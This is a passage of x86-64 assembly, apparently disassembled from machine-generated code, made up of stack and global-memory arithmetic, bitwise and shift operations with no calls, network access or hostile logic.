mov rcx, qword [rsp + 0x7cd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd68], ax
movzx eax, byte [rsp + 0xd8]
mov byte [rsp + 0xf2], al
movsx eax, word [rsp + 0xc44]
movsx ecx, word [rsp + 0xc28]
shl eax, cl
mov rcx, qword [rsp + 0x7528]
mov word [rcx], ax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0x8120], rax
mov rax, qword [rsp + 0x7b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7818]
mov qword [rsp + 0x8128], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8128]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x71b8], rax
mov rax, qword [rsp + 0x7ff0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f28]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7278], rax
mov eax, dword [rsp + 0x3cf0]
mov dword [rsp + 0x3e60], eax
mov eax, dword [rsp + 0x3cf4]
mov ecx, dword [rsp + 0x3dc8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cc4], eax
lea rax, [rsp + 0x87]
mov qword [0x14017a7b8], rax
mov rax, qword [rsp + 0x79a8]
movzx eax, word [rax]
mov word [rsp + 0xe78], ax
movsx eax, word [rsp + 0xcac]
mov rcx, qword [0x14017a7a0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xdc8], ax
movzx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x7598]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4d], al
movzx eax, byte [rsp + 0x59]
mov byte [rsp + 0xf3], al
mov rax, qword [rsp + 0x7908]
mov rcx, qword [rsp + 0x6c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c40], eax
mov rax, qword [rsp + 0x7980]
mov rax, qword [rax]
mov qword [rsp + 0x8130], rax
mov rax, qword [rsp + 0x7150]
mov rcx, qword [rsp + 0x80e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6d88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x76e0]
mov qword [rsp + 0x8138], rax
mov rax, qword [rsp + 0x7cd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov word [0x14017a6f0], ax
movsx eax, word [rsp + 0xcb4]
movsx ecx, word [rsp + 0xc5c]
add eax, ecx
mov word [rsp + 0xcbc], ax
mov rax, qword [0x14017a648]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x7c20]
movzx eax, word [rax]
mov word [rsp + 0xe7c], ax
movzx eax, byte [rsp + 0x85]
mov rcx, qword [rsp + 0x6b98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8058]
mov byte [rcx], al
mov eax, dword [rsp + 0x3e58]
mov dword [rsp + 0x3e64], eax
mov rax, qword [rsp + 0x6ca0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3cfc]
mov ecx, dword [rsp + 0x3c28]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3dbc], eax
lea rax, [rsp + 0x7c90]
mov qword [rsp + 0x8140], rax
movzx eax, word [rsp + 0xd54]
mov rcx, qword [rsp + 0x6c90]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401790a8], ax
movsx eax, byte [rsp + 0xa1]
mov rcx, qword [0x14017a6c8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6cd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7438]
movzx eax, word [rax]
mov word [rsp + 0xe80], ax
movzx eax, byte [rsp + 0x56]
movzx ecx, byte [rsp + 0xcb]
or eax, ecx
mov rcx, qword [rsp + 0x7f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x7bc0]
movzx eax, word [rax]
mov rcx, qword [0x14017a628]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xe2c], ax
lea rax, [rsp + 0x7900]
mov qword [rsp + 0x8148], rax
mov rax, qword [rsp + 0x8038]
mov rcx, qword [rsp + 0x6e48]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7268]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7cd8]
mov eax, dword [rax]
mov dword [rsp + 0x3e68], eax
mov rax, qword [rsp + 0x6ac0]
mov ecx, dword [rsp + 0x3d3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c10], eax
lea rax, [rsp + 0xdbc]
mov qword [0x14017a7c0], rax
mov rax, qword [rsp + 0x6fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b]
sub eax, ecx
mov byte [rsp + 0xc3], al
lea rax, [rsp + 0xdb0]
mov qword [rsp + 0x8150], rax
movzx eax, byte [rsp + 0xeb]
movzx ecx, byte [rsp + 0xa7]
add eax, ecx
mov byte [rsp + 0xba], al
mov rax, qword [rsp + 0x8108]
movzx eax, word [rax]
mov word [rsp + 0xe84], ax
mov rax, qword [rsp + 0x74a0]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8130], rax
mov rax, qword [rsp + 0x7100]
mov qword [rsp + 0x8158], rax
mov rax, qword [rsp + 0x7350]
mov rcx, qword [rsp + 0x8040]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3d28], eax
mov rax, qword [rsp + 0x7478]
mov rcx, qword [rsp + 0x7d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d74], eax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x7f90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017902f], al
movzx eax, byte [rsp + 0x48]
mov byte [rsp + 0xf4], al
movsx eax, word [0x140179024]
movsx ecx, word [rsp + 0xc5c]
add eax, ecx
mov word [rsp + 0xc2c], ax
mov rax, qword [rsp + 0x75c0]
movzx eax, byte [rax]
mov byte [rsp + 0xf5], al
mov rax, qword [rsp + 0x6d90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc14]
sub eax, ecx
mov rcx, qword [rsp + 0x78b8]
mov word [rcx], ax
mov eax, dword [rsp + 0x3e40]
movzx ecx, al
mov eax, dword [0x14017a4d0]
sar eax, cl
mov rcx, qword [rsp + 0x6c20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7738]
mov eax, dword [rax]
mov dword [rsp + 0x3e6c], eax
mov rax, qword [rsp + 0x6bf8]
mov rcx, qword [rsp + 0x79b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7780], rax
lea rax, [rsp + 0x7630]
mov qword [rsp + 0x8160], rax
movzx eax, byte [rsp + 0xd0]
movzx ecx, byte [rsp + 0xcb]
shl eax, cl
mov byte [0x14017900a], al
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x85]
xor eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x7f80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcb8]
and eax, ecx
mov word [rsp + 0xd64], ax
mov rax, qword [rsp + 0x7ba0]
movzx eax, byte [rax]
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0x7398]
movsx eax, word [rax]
mov rcx, qword [0x14017a520]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7bb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6cc0]
mov rax, qword [rax]
mov qword [rsp + 0x8168], rax
mov rax, qword [rsp + 0x7b90]
mov rcx, qword [rsp + 0x6e08]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6cb0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3de4]
mov dword [rsp + 0x3e70], eax
mov rax, qword [rsp + 0x7908]
mov rcx, qword [rsp + 0x7e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ce0], eax
mov rax, qword [rsp + 0x7f50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa5]
add eax, ecx
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0x6e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xde8]
sub eax, ecx
mov word [0x1401790ac], ax
movzx eax, byte [rsp + 0x8f]
mov byte [rsp + 0xf7], al
mov rax, qword [rsp + 0x6c08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe3c]
and eax, ecx
mov rcx, qword [rsp + 0x7070]
mov word [rcx], ax
lea rax, [rsp + 0xd88]
mov qword [rsp + 0x8170], rax
mov rax, qword [rsp + 0x7e90]
mov rcx, qword [rsp + 0x8100]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3cf4], eax
mov rax, qword [rsp + 0x7ae0]
mov rcx, qword [rsp + 0x6bb0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7d08], rax
lea rax, [0x140179010]
mov qword [rsp + 0x8178], rax
mov rax, qword [rsp + 0x8048]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3df4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x72d0]
mov dword [rcx], eax
lea rax, [rsp + 0xc94]
mov qword [rsp + 0x8180], rax
mov rax, qword [rsp + 0x7190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa2]
or eax, ecx
mov rcx, qword [0x14017a730]
mov byte [rcx], al
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0x8120]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8070]
mov byte [rcx], al
mov rax, qword [rsp + 0x7758]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7220]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x76e8]
movzx eax, word [rax]
mov word [rsp + 0xe88], ax
mov rax, qword [rsp + 0x7390]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7fa0]
shl rax, cl
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
lea rax, [rsp + 0x7100]
mov qword [rsp + 0x8188], rax
mov rax, qword [rsp + 0x6cd8]
mov eax, dword [rax]
mov ecx, dword [0x14017a4d0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x74b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3dc4]
mov ecx, dword [rsp + 0x3c74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c7c], eax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x8190], rax
movzx eax, byte [rsp + 0xb9]
mov byte [0x14017a55b], al
movzx eax, byte [rsp + 0xa2]
movzx ecx, byte [rsp + 0xce]
add eax, ecx
mov rcx, qword [rsp + 0x78d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x79f8]
movzx eax, word [rax]
mov word [rsp + 0xe8c], ax
movzx eax, word [rsp + 0xc38]
movzx ecx, word [0x14017a598]
sub eax, ecx
mov rcx, qword [rsp + 0x6e30]
mov word [rcx], ax
lea rax, [rsp + 0x7898]
mov qword [rsp + 0x8198], rax
mov rax, qword [rsp + 0x7800]
mov rcx, qword [rsp + 0x7e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7230]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7818]
mov rcx, qword [rsp + 0x7588]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6c30], rax
mov rax, qword [rsp + 0x7638]
mov eax, dword [rax]
mov dword [rsp + 0x3e74], eax
mov rax, qword [rsp + 0x7f80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe28]
add eax, ecx
mov rcx, qword [rsp + 0x6ce8]
mov word [rcx], ax
movsx eax, word [0x14017a7b0]
movsx ecx, word [rsp + 0xcbc]
and eax, ecx
mov word [0x14017904c], ax
mov rax, qword [rsp + 0x8070]
movzx eax, byte [rax]
mov byte [rsp + 0xf8], al
movzx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x7f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7320]
mov byte [rcx], al
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x7538]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xcd], al
lea rax, [rsp + 0xcd0]
mov qword [rsp + 0x81a0], rax
mov eax, dword [rsp + 0x3d3c]
movzx ecx, al
mov eax, dword [rsp + 0x3b4c]
shl eax, cl
mov dword [rsp + 0x3e20], eax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x3e78], eax
mov rax, qword [rsp + 0x7530]
mov rcx, qword [rsp + 0x76d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a08], rax
mov rax, qword [rsp + 0x77e0]
mov rcx, qword [rsp + 0x7da8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7dc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x70c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7da0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017904f], al
movzx eax, word [rsp + 0xc78]
mov word [rsp + 0xe90], ax
movzx eax, byte [rsp + 0x45]
mov rcx, qword [rsp + 0x7190]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xae], al
lea rax, [rsp + 0xdb4]
mov qword [rsp + 0x81a8], rax
mov rax, qword [rsp + 0x7f80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd14], ax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e58], eax
mov rax, qword [rsp + 0x6bf8]
mov qword [rsp + 0x81b0], rax
mov eax, dword [rsp + 0x3e50]
mov ecx, dword [rsp + 0x3d9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c98], eax
lea rax, [rsp + 0x8168]
mov qword [rsp + 0x81b8], rax
mov rax, qword [rsp + 0x8120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x71a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140179052], al
mov rax, qword [rsp + 0x7ea8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7bc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdc0], ax
lea rax, [rsp + 0x64]
mov qword [rsp + 0x81c0], rax
mov rax, qword [rsp + 0x7bd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe58]
sub eax, ecx
mov word [rsp + 0xd04], ax
movsx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0x71f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x7b20]
mov eax, dword [rax]
mov dword [rsp + 0x3e7c], eax
mov rax, qword [rsp + 0x7818]
mov rcx, qword [rsp + 0x7168]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7fb8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c28]
mov dword [rsp + 0x3e80], eax
mov rax, qword [rsp + 0x6cc0]
mov rcx, qword [rsp + 0x6c10]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7390]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6b60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x71a0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x140179042], al
movzx eax, byte [rsp + 0x75]
mov rcx, qword [rsp + 0x7b88]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x77c8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xb6]
mov byte [rsp + 0xf9], al
movsx eax, word [rsp + 0xc70]
mov rcx, qword [rsp + 0x72e0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x79c0]
mov word [rcx], ax
lea rax, [rsp + 0xc8c]
mov qword [rsp + 0x81c8], rax
mov rax, qword [rsp + 0x7b60]
mov rcx, qword [rsp + 0x6aa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7c68], rax
mov rax, qword [rsp + 0x6eb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3dac], eax
mov eax, dword [rsp + 0x3ccc]
mov dword [rsp + 0x3e84], eax
mov rax, qword [rsp + 0x7dc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7138]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8148]
mov qword [rcx], rax
lea rax, [rsp + 0x55]
mov qword [0x14017a7c8], rax
movzx eax, word [rsp + 0xe04]
mov word [rsp + 0xe94], ax
mov rax, qword [rsp + 0x7000]
movsx eax, word [rax]
movsx ecx, word [0x14017a770]
add eax, ecx
mov word [rsp + 0xdf4], ax
lea rax, [rsp + 0x5b]
mov qword [rsp + 0x81d0], rax
mov rax, qword [rsp + 0x7ea8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8108]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xddc], ax
mov rax, qword [rsp + 0x78d8]
mov rcx, qword [rsp + 0x6e38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x80f0]
mov qword [rcx], rax
lea rax, [rsp + 0x7868]
mov qword [rsp + 0x81d8], rax
mov rax, qword [rsp + 0x7bb0]
mov ecx, dword [rsp + 0x3c00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3db0], eax
mov rax, qword [rsp + 0x7a18]
mov eax, dword [rax]
mov dword [rsp + 0x3e88], eax
movzx eax, byte [rsp + 0x75]
mov rcx, qword [rsp + 0x7ed0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017904a], al
movsx eax, word [rsp + 0xce0]
movsx ecx, word [rsp + 0xcd8]
add eax, ecx
mov word [rsp + 0xc20], ax
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0xc3]
add eax, ecx
mov byte [rsp + 0x9e], al
mov rax, qword [rsp + 0x77f8]
movzx eax, byte [rax]
mov byte [rsp + 0xfa], al
movzx eax, word [rsp + 0xd9c]
movzx ecx, word [rsp + 0xcfc]
add eax, ecx
mov rcx, qword [rsp + 0x7728]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ca0]
mov rax, qword [rax]
mov qword [rsp + 0x81e0], rax
mov eax, dword [rsp + 0x3c08]
mov rcx, qword [rsp + 0x74b0]
mov qword [rsp + 0x81e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x81e8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x6d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6e80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d90]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x72f0]
mov dword [rcx], eax
lea rax, [rsp + 0x74e8]
mov qword [rsp + 0x81f0], rax
movzx eax, byte [rsp + 0x52]
mov byte [0x14017a55c], al
mov rax, qword [rsp + 0x74d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fe8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x85], al
mov rax, qword [rsp + 0x7388]
movzx eax, word [rax]
mov word [rsp + 0xe98], ax
mov rax, qword [rsp + 0x6b10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6d28]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd78], ax
mov rax, qword [rsp + 0x7c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7018]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xd6], al
lea rax, [rsp + 0x8088]
mov qword [rsp + 0x81f8], rax
mov rax, qword [rsp + 0x7df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8048]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7760]
mov qword [rsp + 0x8200], rax
mov rax, qword [rsp + 0x8040]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3e7c], eax
mov rax, qword [rsp + 0x78e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xddc]
and eax, ecx
mov rcx, qword [0x14017a778]
mov word [rcx], ax
movzx eax, byte [rsp + 0x69]
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x7470]
movsx eax, byte [rax]
mov rcx, qword [0x14017a5b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0x6dd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8000]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdf8], ax
mov rax, qword [rsp + 0x7fc0]
movzx eax, word [rax]
mov word [rsp + 0xe9c], ax
mov rax, qword [rsp + 0x7078]
mov rcx, qword [rsp + 0x7780]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c68], rax
lea rax, [rsp + 0x3af0]
mov qword [rsp + 0x8208], rax
mov rax, qword [rsp + 0x8060]
mov rcx, qword [rsp + 0x6c98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6f90], rax
mov rax, qword [rsp + 0x7710]
mov ecx, dword [rsp + 0x3cf4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7420]
mov dword [rcx], eax
lea rax, [rsp + 0x86]
mov qword [rsp + 0x8210], rax
mov rax, qword [rsp + 0x6be0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7158]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140179078], ax
movzx eax, word [0x1401790a8]
movzx ecx, word [rsp + 0xce8]
cdq
idiv ecx
mov rcx, qword [rsp + 0x6eb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0xfc], al
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x9f]
shl eax, cl
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x6b00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140179004]
sar eax, cl
mov rcx, qword [rsp + 0x6dc0]
mov dword [rcx], eax
lea rax, [rsp + 0x7b68]
mov qword [rsp + 0x8218], rax
mov rax, qword [rsp + 0x7128]
mov rcx, qword [rsp + 0x79b0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ea8]
mov qword [rcx], rax
mov eax, dword [section..data]
mov dword [rsp + 0x3e8c], eax
mov rax, qword [rsp + 0x7c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca0]
and eax, ecx
mov word [rsp + 0xc84], ax
movzx eax, word [rsp + 0xdf8]
mov rcx, qword [rsp + 0x6ef8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1401790b0], ax
mov rax, qword [0x14017a788]
movzx eax, word [rax]
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0x6b60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8b]
sub eax, ecx
mov byte [rsp + 0xa8], al
movzx eax, word [rsp + 0xc24]
mov rcx, qword [0x14017a530]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd74], ax
mov eax, dword [rsp + 0x3be0]
mov dword [rsp + 0x3e90], eax
mov rax, qword [rsp + 0x7f00]
mov rcx, qword [rsp + 0x7818]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7100], rax
mov rax, qword [rsp + 0x7240]
mov rax, qword [rax]
mov qword [rsp + 0x8220], rax
mov rax, qword [rsp + 0x7fd0]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d28], eax
movzx eax, byte [rsp + 0x9b]
movzx ecx, byte [rsp + 0xc3]
and eax, ecx
mov rcx, qword [rsp + 0x74d8]
mov byte [rcx], al
lea rax, [rsp + 0xc88]
mov qword [0x14017a7d0], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x8228], rax
mov rax, qword [rsp + 0x7838]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x62]
add eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x77c8]
movzx eax, byte [rax]
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0x8060]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8168]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6fb0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3ca0]
mov ecx, dword [rsp + 0x3be0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x73d0]
mov dword [rcx], eax
lea rax, [rsp + 0x8078]
mov qword [rsp + 0x8230], rax
mov rax, qword [rsp + 0x7bb0]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7be0]
mov dword [rcx], eax
lea rax, [rsp + 0x4a]
mov qword [rsp + 0x8238], rax
movzx eax, word [rsp + 0xcfc]
movzx ecx, word [rsp + 0xce4]
shl eax, cl
mov word [0x14017902c], ax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fe8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7a60]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd48], ax
mov rax, qword [rsp + 0x7450]
movzx eax, word [rax]
mov word [rsp + 0xea4], ax
movzx eax, byte [0x14017901e]
movzx ecx, byte [rsp + 0x66]
xor eax, ecx
mov byte [rsp + 0xa2], al
mov rax, qword [rsp + 0x7518]
mov qword [rsp + 0x8240], rax
mov rax, qword [rsp + 0x6c58]
mov rcx, qword [rsp + 0x73b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c64], eax
lea rax, [rsp + 0x3d84]
mov qword [rsp + 0x8248], rax
mov rax, qword [rsp + 0x7410]
mov rcx, qword [rsp + 0x8220]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd30]
sub eax, ecx
mov word [0x14017903c], ax
mov rax, qword [rsp + 0x7030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcac]
sub eax, ecx
mov rcx, qword [rsp + 0x7b80]
mov word [rcx], ax
lea rax, [rsp + 0xb9]
mov qword [rsp + 0x8250], rax
movzx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x7618]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7028]
mov byte [rcx], al
movzx eax, byte [rsp + 0x91]
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x7e78]
mov ecx, dword [rsp + 0x3c6c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6af8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ec0]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7d98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7720]
mov qword [rsp + 0x8258], rax
mov rax, qword [rsp + 0x7ff8]
mov rcx, qword [rsp + 0x7ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7e98], rax
movsx eax, word [rsp + 0xc88]
mov rcx, qword [0x14017a6d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401790b4], ax
movzx eax, byte [rsp + 0x97]
mov byte [rsp + 0xff], al
movsx eax, byte [rsp + 0x43]
mov rcx, qword [rsp + 0x7d30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7a50]
mov byte [rcx], al
movzx eax, word [rsp + 0xd30]
movzx ecx, word [0x140179020]
shl eax, cl
mov rcx, qword [rsp + 0x74b8]
mov word [rcx], ax
lea rax, [rsp + 0xd70]
mov qword [rsp + 0x8260], rax
mov eax, dword [rsp + 0x3b58]
movzx ecx, al
mov eax, dword [rsp + 0x3e40]
sar eax, cl
mov dword [rsp + 0x3e48], eax
mov rax, qword [rsp + 0x7bb0]
mov eax, dword [rax]
mov dword [rsp + 0x3e94], eax
mov rax, qword [rsp + 0x7090]
mov rcx, qword [rsp + 0x72a0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x81b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7e98]
mov rcx, qword [rsp + 0x7f88]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8230]
mov qword [rcx], rax
movsx eax, word [rsp + 0xdf4]
